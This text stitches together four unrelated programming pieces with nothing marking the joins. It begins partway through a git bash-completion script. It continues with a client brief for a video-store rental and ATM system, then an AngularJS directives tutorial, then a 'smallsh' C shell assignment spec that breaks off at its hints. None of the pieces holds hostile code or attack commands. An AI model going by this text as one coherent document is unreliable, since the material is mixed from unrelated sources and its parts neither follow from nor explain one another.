sendemail.to sendemail.validate showbranch.default status.relativePaths status.showUntrackedFiles tar.umask transfer.unpackLimit url. user.email user.name user.signingkey web.browser branch. remote. " } _git_remote () { local subcommands="add rename rm show prune update set-head" local subcommand="$(__git_find_on_cmdline "$subcommands")" if [ -z "$subcommand" ]; then __gitcomp "$subcommands" return fi case "$subcommand" in rename|rm|show|prune) __gitcomp "$(__git_remotes)" ;; update) local i c='' IFS=$'\n' for i in $(git --git-dir="$(__gitdir)" config --get-regexp "remotes\..*" 2>/dev/null); do i="${i#remotes.}" c="$c ${i/ */}" done __gitcomp "$c" ;; *) COMPREPLY=() ;; esac } _git_replace () { __gitcomp "$(__git_refs)" } _git_reset () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--merge --mixed --hard --soft --patch" return ;; esac __gitcomp "$(__git_refs)" } _git_revert () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--edit --mainline --no-edit --no-commit --signoff" return ;; esac __gitcomp "$(__git_refs)" } _git_rm () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--cached --dry-run --ignore-unmatch --quiet" return ;; esac COMPREPLY=() } _git_shortlog () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " $__git_log_common_options $__git_log_shortlog_options --numbered --summary " return ;; esac __git_complete_revlist } _git_show () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --pretty=*) __gitcomp "$__git_log_pretty_formats " "" "${cur##--pretty=}" return ;; --format=*) __gitcomp "$__git_log_pretty_formats " "" "${cur##--format=}" return ;; --*) __gitcomp "--pretty= --format= --abbrev-commit --oneline $__git_diff_common_options " return ;; esac __git_complete_file } _git_show_branch () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --all --remotes --topo-order --current --more= --list --independent --merge-base --no-name --color --no-color --sha1-name --sparse --topics --reflog " return ;; esac __git_complete_revlist } _git_stash () { local cur="${COMP_WORDS[COMP_CWORD]}" local save_opts='--keep-index --no-keep-index --quiet --patch' local subcommands='save list show apply clear drop pop create branch' local subcommand="$(__git_find_on_cmdline "$subcommands")" if [ -z "$subcommand" ]; then case "$cur" in --*) __gitcomp "$save_opts" ;; *) if [ -z "$(__git_find_on_cmdline "$save_opts")" ]; then __gitcomp "$subcommands" else COMPREPLY=() fi ;; esac else case "$subcommand,$cur" in save,--*) __gitcomp "$save_opts" ;; apply,--*|pop,--*) __gitcomp "--index --quiet" ;; show,--*|drop,--*|branch,--*) COMPREPLY=() ;; show,*|apply,*|drop,*|pop,*|branch,*) __gitcomp "$(git --git-dir="$(__gitdir)" stash list \ | sed -n -e 's/:.*//p')" ;; *) COMPREPLY=() ;; esac fi } _git_submodule () { __git_has_doubledash && return local subcommands="add status init update summary foreach sync" if [ -z "$(__git_find_on_cmdline "$subcommands")" ]; then local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--quiet --cached" ;; *) __gitcomp "$subcommands" ;; esac return fi } _git_svn () { local subcommands=" init fetch clone rebase dcommit log find-rev set-tree commit-diff info create-ignore propget proplist show-ignore show-externals branch tag blame migrate mkdirs reset gc " local subcommand="$(__git_find_on_cmdline "$subcommands")" if [ -z "$subcommand" ]; then __gitcomp "$subcommands" else local remote_opts="--username= --config-dir= --no-auth-cache" local fc_opts=" --follow-parent --authors-file= --repack= --no-metadata --use-svm-props --use-svnsync-props --log-window-size= --no-checkout --quiet --repack-flags --use-log-author --localtime --ignore-paths= $remote_opts " local init_opts=" --template= --shared= --trunk= --tags= --branches= --stdlayout --minimize-url --no-metadata --use-svm-props --use-svnsync-props --rewrite-root= --prefix= --use-log-author --add-author-from $remote_opts " local cmt_opts=" --edit --rmdir --find-copies-harder --copy-similarity= " local cur="${COMP_WORDS[COMP_CWORD]}" case "$subcommand,$cur" in fetch,--*) __gitcomp "--revision= --fetch-all $fc_opts" ;; clone,--*) __gitcomp "--revision= $fc_opts $init_opts" ;; init,--*) __gitcomp "$init_opts" ;; dcommit,--*) __gitcomp " --merge --strategy= --verbose --dry-run --fetch-all --no-rebase --commit-url --revision $cmt_opts $fc_opts " ;; set-tree,--*) __gitcomp "--stdin $cmt_opts $fc_opts" ;; create-ignore,--*|propget,--*|proplist,--*|show-ignore,--*|\ show-externals,--*|mkdirs,--*) __gitcomp "--revision=" ;; log,--*) __gitcomp " --limit= --revision= --verbose --incremental --oneline --show-commit --non-recursive --authors-file= --color " ;; rebase,--*) __gitcomp " --merge --verbose --strategy= --local --fetch-all --dry-run $fc_opts " ;; commit-diff,--*) __gitcomp "--message= --file= --revision= $cmt_opts" ;; info,--*) __gitcomp "--url" ;; branch,--*) __gitcomp "--dry-run --message --tag" ;; tag,--*) __gitcomp "--dry-run --message" ;; blame,--*) __gitcomp "--git-format" ;; migrate,--*) __gitcomp " --config-dir= --ignore-paths= --minimize --no-auth-cache --username= " ;; reset,--*) __gitcomp "--revision= --parent" ;; *) COMPREPLY=() ;; esac fi } _git_tag () { local i c=1 f=0 while [ $c -lt $COMP_CWORD ]; do i="${COMP_WORDS[c]}" case "$i" in -d|-v) __gitcomp "$(__git_tags)" return ;; -f) f=1 ;; esac c=$((++c)) done case "${COMP_WORDS[COMP_CWORD-1]}" in -m|-F) COMPREPLY=() ;; -*|tag) if [ $f = 1 ]; then __gitcomp "$(__git_tags)" else COMPREPLY=() fi ;; *) __gitcomp "$(__git_refs)" ;; esac } _git_whatchanged () { _git_log } _git () { local i c=1 command __git_dir while [ $c -lt $COMP_CWORD ]; do i="${COMP_WORDS[c]}" case "$i" in --git-dir=*) __git_dir="${i#--git-dir=}" ;; --bare) __git_dir="." ;; --version|-p|--paginate) ;; --help) command="help"; break ;; *) command="$i"; break ;; esac c=$((++c)) done if [ -z "$command" ]; then case "${COMP_WORDS[COMP_CWORD]}" in --*) __gitcomp " --paginate --no-pager --git-dir= --bare --version --exec-path --html-path --work-tree= --help " ;; *) __git_compute_porcelain_commands __gitcomp "$__git_porcelain_commands $(__git_aliases)" ;; esac return fi local completion_func="_git_${command//-/_}" declare -F $completion_func >/dev/null && $completion_func && return local expansion=$(__git_aliased_command "$command") if [ -n "$expansion" ]; then completion_func="_git_${expansion//-/_}" declare -F $completion_func >/dev/null && $completion_func fi } _gitk () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" local g="$(__gitdir)" local merge="" if [ -f "$g/MERGE_HEAD" ]; then merge="--merge" fi case "$cur" in --*) __gitcomp " $__git_log_common_options $__git_log_gitk_options $merge " return ;; esac __git_complete_revlist } complete -o bashdefault -o default -o nospace -F _git git 2>/dev/null \ || complete -o default -o nospace -F _git git complete -o bashdefault -o default -o nospace -F _gitk gitk 2>/dev/null \ || complete -o default -o nospace -F _gitk gitk # The following are necessary only for Cygwin, and only are needed # when the user has tab-completed the executable name and consequently # included the '.exe' suffix. # if [ Cygwin = "$(uname -o 2>/dev/null)" ]; then complete -o bashdefault -o default -o nospace -F _git git.exe 2>/dev/null \ || complete -o default -o nospace -F _git git.exe fi

“My name is Gregory Guy. I have just purchased a video store, and I need an up to date, GUI driven system to keep track of all the stock in my store. I am not happy with the existing system where everything is done by hand. “Currently, the store operates on a cash basis, although a contract system might be in the pipeline. You will be contacted to do this at a later stage, if necessary. I have a shop next door that sells sweets, drinks, chocolates etc, which runs from a separate cash register. This should not be included in the system you develop. “My store not only stocks videos, but also video machines, as well as DVD’s. At a later stage, I would like to also stock Sony PlayStation games, controls, and possibly other stock items. I want to be able to add these into the stock list with the minimum of hassle, and without calling in the help of a programmer / system designer. “I want to store all transactional information in a database, so that my accounting system can interface with the data. “I charge as follows: New Release: (Video or DVD) R16 Older Stock: (Video or DVD) R12 • Video Machine R30 • Video Machine & any two videos: R50 “When I start stocking PlayStation games and/or consoles (or any other stock items), I would probably want to have a two-tier pricing system for them as well (where I can charge more for newer stock). “It would also be nice to be able to change my prices if and when I need to. I therefore would like the ability to change the price of a ‘New Release’, and that should affect all the videos/DVD’s that fall into that category. The same should apply to the other prices mentioned above. “I have a couple of shop assistants that helps me out, and I would like some security built in so that the assistants cannot get access to my financial and other important data. Functionality: “I obviously need the system to take care of the most important part of the business:- the quick and accurate ‘booking out’ of all stock items. The customer, upon bringing me his/her selection, must be charged accordingly, and the items must be marked as ‘out’. “The system should also allow me to quickly and easily record the returned stock items, as and when they do come in. “Sometimes I also want to credit the customer for something, as the tape/DVD/game might have been damaged before they rented it. The item should then be marked as returned, but as money is then given back to the customer, some sort of record should be kept about this credit transaction so that I can trace which assistant allowed the credit. This will help me minimize fraudulent behaviour where assistants can basically book out resources ‘for free’. “I also want the system to have an advance booking facility, where an existing customer can call in and book a certain video/DVD/other item for a certain day. The system should not allow an item to be booked out twice for a certain date, and if something has been booked out and another customer tries to rent it, at least a warning should be displayed, informing the teller that this is the case. In special cases, such a booking can then be ignored, but most times the teller will inform the customer that s/he cannot have that item for the day. A facility should also be included where the booking can be cancelled at any time, if necessary. (For example, if a customer cancels the booking telephonically, whether it is on the day, or some time in advance). “Although it could be considered part of the accounting package, I would like this system to be able to do a daily summary, where I am presented with total sales (monetary value), total number of rentals (total videos; total DVD’s, total machines,) etc. This can be shown to me either on the screen, or in a printed form. I would like you to decide on the format and content of this screen/report. “Another function that I would like you to incorporate, is that the system should be able to do some analysis for me. Examples of this include: • Top Ten rentals • Top Ten customers • Stock items that have not been rented out in 6 months or more. I would like the above three to be done, but if you can think of other examples, feel free to add them in if you have time. “The system should allow me to add/edit all customer details, and if necessary (not often) delete a customer. Customer details to be stored include, but are not limited to: Name Surname Title I.D. Number Address and Postal Code Telephone Number (Work) Telephone Number (Home) Telephone Number (Mobile) “The system should also allow me to update the information regarding my stock items, for example: • Mark a tape as damaged. • Change a video from a ‘New Release’ to ‘Older Stock’. • Change the category it belongs to. “I have several working, but old machines lying around at my house, and they are already network-capable. I would like you to build some functionality where these machines can be linked to the system you are designing so that they can be used as ‘look-up’ machines. Basically, if a shop assistant is not available, but a customer knows the title of the movie they are looking for, they should be able to go to one of these terminals that I will set up throughout my shop, and enter or select the movie name, and perhaps what they are looking for (video/dvd/game etc). If my shop carries the chosen item, then the system should give them enough information (shelf number/category etc.) to be able to locate the item in the shop. It should also show if an item is unavailable, and when it is due back. If they select an invalid item, they should be informed of this. “The above program should run independently of the main system, and should not access the database directly. The video store will have employees, customers, stock and suppliers. Employees, customers and suppliers related to the video store can be created, deleted or updated. Creating / updating / deleting a customer profile (video store) will be very similar to that of creating / updating / deleting a customer’s account in the banking industry. The stock status also needs to be up to date (available, rented, late or damaged). An ATM will be inside the video store. The ATM is available to both the public and the employees. The ATM can be used for: Bank account balance inquiry, money withdrawal, funds transfer and transaction history (last 5 transactions with dates, time, type of transaction and outcome). The ATM should also cancel a transaction request and swallow a debit card when the user has entered a wrong pin number three times in succession. The ATM can only be used by clients who have existing bank accounts and existing (valid) debit cards. Make provision for situations such as expired debit cards, frozen accounts, insufficient funds, daily withdrawal limit exceeded, etc. The video store works on a cash-only-basis. Customers can withdraw money at the ATM if they don't have cash on them. The ATM is also available to public who only wants to use the ATM (without having to do business with the video store). Payment for stock rented: A Point Of Sale screen (electronic cash register screen) needs to be displayed. The product and the quantity thereof needs to be entered. You can make use of drop boxes if you want to. The system will calculate the total amount due (and the due date back for the products). Enter the cash amount offered by the customer. Calculate the change amount. Update the video store transaction register. Stock returned: Update the electronic system. Make provision for the condition in which the stock items were returned (in a working state or damaged, on time or late - individually). Capture a history record of products rented. Know the value of the stock outside the store. Capture a history record of products currently late. Capture a history record of products damaged. Capture a history record of products currently in store. Calculate the value of stock in-store. Capture a history record of each registered client's rental record. Capture a history record of a client's ATM transactions.

Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a <div> and inside a <h1> tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: <dir-display></dir-display> Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes <my-directive></my-directive>. You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "geofdude@gmail.com" } Now inside your directive's html specifically inside the <h3> tags display our new user's name. Then inside maybe some <h4> tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - <dir-display test="myTest" my-check="checkItOut"></dir-display> Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "geofdude@gmail.com", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "fredeed@gmail.com", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "spencerrentz@gmail.com", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "geddupngo@gmail.com", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "gernee@gmail.com", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an <h3> tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. <example-directive string="a string" link="user" func="updateUser()"></example-directive> The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. <my-directive pass-func="callFunc(data)"></my-directive> Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes.

In this assignment you will write smallsh your own shell in C. smallsh will implement a subset of features of well-known shells, such as bash. Your program will Provide a prompt for running commands Handle blank lines and comments, which are lines beginning with the # character Provide expansion for the variable $$ Execute 3 commands exit, cd, and status via code built into the shell Execute other commands by creating new processes using a function from the exec family of functions Support input and output redirection Support running commands in foreground and background processes Implement custom handlers for 2 signals, SIGINT and SIGTSTP Learning Outcomes After successful completion of this assignment, you should be able to do the following Describe the Unix process API (Module 4, MLO 2) Write programs using the Unix process API (Module 4, MLO 3) Explain the concept of signals and their uses (Module 5, MLO 2) Write programs using the Unix API for signal handling (Module 5, MLO 3) Explain I/O redirection and write programs that can employ I/O redirection (Module 5, MLO 4) Program Functionality 1. The Command Prompt Use the colon : symbol as a prompt for each command line. The general syntax of a command line is: command [arg1 arg2 ...] [< input_file] [> output_file] [&] …where items in square brackets are optional. You can assume that a command is made up of words separated by spaces. The special symbols <, > and & are recognized, but they must be surrounded by spaces like other words. If the command is to be executed in the background, the last word must be &. If the & character appears anywhere else, just treat it as normal text. If standard input or output is to be redirected, the > or < words followed by a filename word must appear after all the arguments. Input redirection can appear before or after output redirection. Your shell does not need to support any quoting; so arguments with spaces inside them are not possible. We are also not implementing the pipe "|" operator. Your shell must support command lines with a maximum length of 2048 characters, and a maximum of 512 arguments. You do not need to do any error checking on the syntax of the command line. 2. Comments & Blank Lines Your shell should allow blank lines and comments. Any line that begins with the # character is a comment line and should be ignored. Mid-line comments, such as the C-style //, will not be supported. A blank line (one without any commands) should also do nothing. Your shell should just re-prompt for another command when it receives either a blank line or a comment line. 3. Expansion of Variable $$ Your program must expand any instance of "$$" in a command into the process ID of the smallsh itself. Your shell does not otherwise perform variable expansion. 4. Built-in Commands Your shell will support three built-in commands: exit, cd, and status. These three built-in commands are the only ones that your shell will handle itself - all others are simply passed on to a member of the exec() family of functions. You do not have to support input/output redirection for these built in commands These commands do not have to set any exit status. If the user tries to run one of these built-in commands in the background with the & option, ignore that option and run the command in the foreground anyway (i.e. don't display an error, just run the command in the foreground). exit The exit command exits your shell. It takes no arguments. When this command is run, your shell must kill any other processes or jobs that your shell has started before it terminates itself. cd The cd command changes the working directory of smallsh. By itself - with no arguments - it changes to the directory specified in the HOME environment variable This is typically not the location where smallsh was executed from, unless your shell executable is located in the HOME directory, in which case these are the same. This command can also take one argument: the path of a directory to change to. Your cd command should support both absolute and relative paths. status The status command prints out either the exit status or the terminating signal of the last foreground process ran by your shell. If this command is run before any foreground command is run, then it should simply return the exit status 0. The three built-in shell commands do not count as foreground processes for the purposes of this built-in command - i.e., status should ignore built-in commands. 5. Executing Other Commands Your shell will execute any commands other than the 3 built-in command by using fork(), exec() and waitpid() Whenever a non-built in command is received, the parent (i.e., smallsh) will fork off a child. The child will use a function from the exec() family of functions to run the command. Your shell should use the PATH variable to look for non-built in commands, and it should allow shell scripts to be executed If a command fails because the shell could not find the command to run, then the shell will print an error message and set the exit status to 1 A child process must terminate after running a command (whether the command is successful or it fails). 6. Input & Output Redirection You must do any input and/or output redirection using dup2(). The redirection must be done before using exec() to run the command. An input file redirected via stdin should be opened for reading only; if your shell cannot open the file for reading, it should print an error message and set the exit status to 1 (but don't exit the shell). Similarly, an output file redirected via stdout should be opened for writing only; it should be truncated if it already exists or created if it does not exist. If your shell cannot open the output file it should print an error message and set the exit status to 1 (but don't exit the shell). Both stdin and stdout for a command can be redirected at the same time (see example below). 7. Executing Commands in Foreground & Background Foreground Commands Any command without an & at the end must be run as a foreground command and the shell must wait for the completion of the command before prompting for the next command. For such commands, the parent shell does NOT return command line access and control to the user until the child terminates. Background Commands Any non built-in command with an & at the end must be run as a background command and the shell must not wait for such a command to complete. For such commands, the parent must return command line access and control to the user immediately after forking off the child. The shell will print the process id of a background process when it begins. When a background process terminates, a message showing the process id and exit status will be printed. This message must be printed just before the prompt for a new command is displayed. If the user doesn't redirect the standard input for a background command, then standard input should be redirected to /dev/null If the user doesn't redirect the standard output for a background command, then standard output should be redirected to /dev/null 8. Signals SIGINT & SIGTSTP SIGINT A CTRL-C command from the keyboard sends a SIGINT signal to the parent process and all children at the same time (this is a built-in part of Linux). Your shell, i.e., the parent process, must ignore SIGINT Any children running as background processes must ignore SIGINT A child running as a foreground process must terminate itself when it receives SIGINT The parent must not attempt to terminate the foreground child process; instead the foreground child (if any) must terminate itself on receipt of this signal. If a child foreground process is killed by a signal, the parent must immediately print out the number of the signal that killed it's foreground child process (see the example) before prompting the user for the next command. SIGTSTP A CTRL-Z command from the keyboard sends a SIGTSTP signal to your parent shell process and all children at the same time (this is a built-in part of Linux). A child, if any, running as a foreground process must ignore SIGTSTP. Any children running as background process must ignore SIGTSTP. When the parent process running the shell receives SIGTSTP The shell must display an informative message (see below) immediately if it's sitting at the prompt, or immediately after any currently running foreground process has terminated The shell then enters a state where subsequent commands can no longer be run in the background. In this state, the & operator should simply be ignored, i.e., all such commands are run as if they were foreground processes. If the user sends SIGTSTP again, then your shell will Display another informative message (see below) immediately after any currently running foreground process terminates The shell then returns back to the normal condition where the & operator is once again honored for subsequent commands, allowing them to be executed in the background. See the example below for usage and the exact syntax which you must use for these two informative messages. Sample Program Execution Here is an example run using smallsh. Note that CTRL-C has no effect towards the bottom of the example, when it's used while sitting at the command prompt: $ smallsh : ls junk smallsh smallsh.c : ls > junk : status exit value 0 : cat junk junk smallsh smallsh.c : wc < junk > junk2 : wc < junk 3 3 23 : test -f badfile : status exit value 1 : wc < badfile cannot open badfile for input : status exit value 1 : badfile badfile: no such file or directory : sleep 5 ^Cterminated by signal 2 : status & terminated by signal 2 : sleep 15 & background pid is 4923 : ps PID TTY TIME CMD 4923 pts/0 00:00:00 sleep 4564 pts/0 00:00:03 bash 4867 pts/0 00:01:32 smallsh 4927 pts/0 00:00:00 ps : : # that was a blank command line, this is a comment line : background pid 4923 is done: exit value 0 : # the background sleep finally finished : sleep 30 & background pid is 4941 : kill -15 4941 background pid 4941 is done: terminated by signal 15 : pwd /nfs/stak/users/chaudhrn/CS344/prog3 : cd : pwd /nfs/stak/users/chaudhrn : cd CS344 : pwd /nfs/stak/users/chaudhrn/CS344 : echo 4867 4867 : echo $$ 4867 : ^C^Z Entering foreground-only mode (& is now ignored) : date Mon Jan 2 11:24:33 PST 2017 : sleep 5 & : date Mon Jan 2 11:24:38 PST 2017 : ^Z Exiting foreground-only mode : date Mon Jan 2 11:24:39 PST 2017 : sleep 5 & background pid is 4963 : date Mon Jan 2 11:24:39 PST 2017 : exit $ Hints & Resources 1. The Command Prompt Be sure you flush out the output buffers each time you print, as the text that you're outputting may not reach the screen until you do in this kind of interactive program. To do this, call fflush() immediately after each and every time you output text. Consider defining a struct in which you can store all the different elements included in a command. Then as you parse a command, you can set the value of members of a variable of this struct type. 2. Comments & Blank Lines This should be simple. 3. Expansion of Variable $$ Here are examples to illustrate the required behavior. 